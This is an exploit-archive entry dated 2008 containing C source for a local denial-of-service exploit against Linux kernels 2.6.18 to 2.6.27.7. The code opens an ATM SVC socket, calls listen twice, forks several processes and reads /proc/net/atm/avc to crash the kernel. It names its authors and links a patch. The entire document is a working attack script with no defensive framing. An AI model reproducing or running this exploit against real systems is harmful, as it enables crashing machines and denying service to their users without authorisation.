Linux Kernel 2.6.27.7-generic/2.6.18/2.6.24-1 - Local Denial of Service

/*

Linux Kernel 2.6.27.7-generic - 2.6.18 - 2.6.24-1 Denial of service Exploit

Vuln : 2.6.27.7-generic || 2.6.18 || 2.6.24-1

Author : Adurit team
             >>djekmani4ever

Home : Hightsec.com

patch : http://marc.info/?l=linux-netdev&m=122841256115780&w=2

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <linux/atm.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>

#define NUM_CPUS 8
#define ATM "/proc/net/atm/avc"

int
main(void)
{
    char *err, adurit[2000];
    int i, ret, sock, proc;
    struct atm_qos dj;
    struct sockaddr_atmsvc addr;



    sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);


    memset(&dj, 0, sizeof(dj));
    dj.rxtp.traffic_class = ATM_UBR;
    dj.txtp.traffic_class = ATM_UBR;
    dj.aal = ATM_NO_AAL;


    ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
    if (ret == -1) {
        printf("failed !\n");
        return 1;
    }
    memset(&addr, 0, sizeof(addr));
    addr.sas_family = AF_ATMSVC;

    bind(sock, (struct sockaddr *) &addr, sizeof(addr));

    listen(sock, 10);
    listen(sock, 10);

    for (i = 1; i < NUM_CPUS; ++i) {
        if (fork() != 0) {
            break;
        }
    }
    proc = open(ATM, O_RDONLY);
    ret = read(proc, &adurit, 2000);
    close(proc);

    return 0;
}

// milw0rm.com [2008-12-14]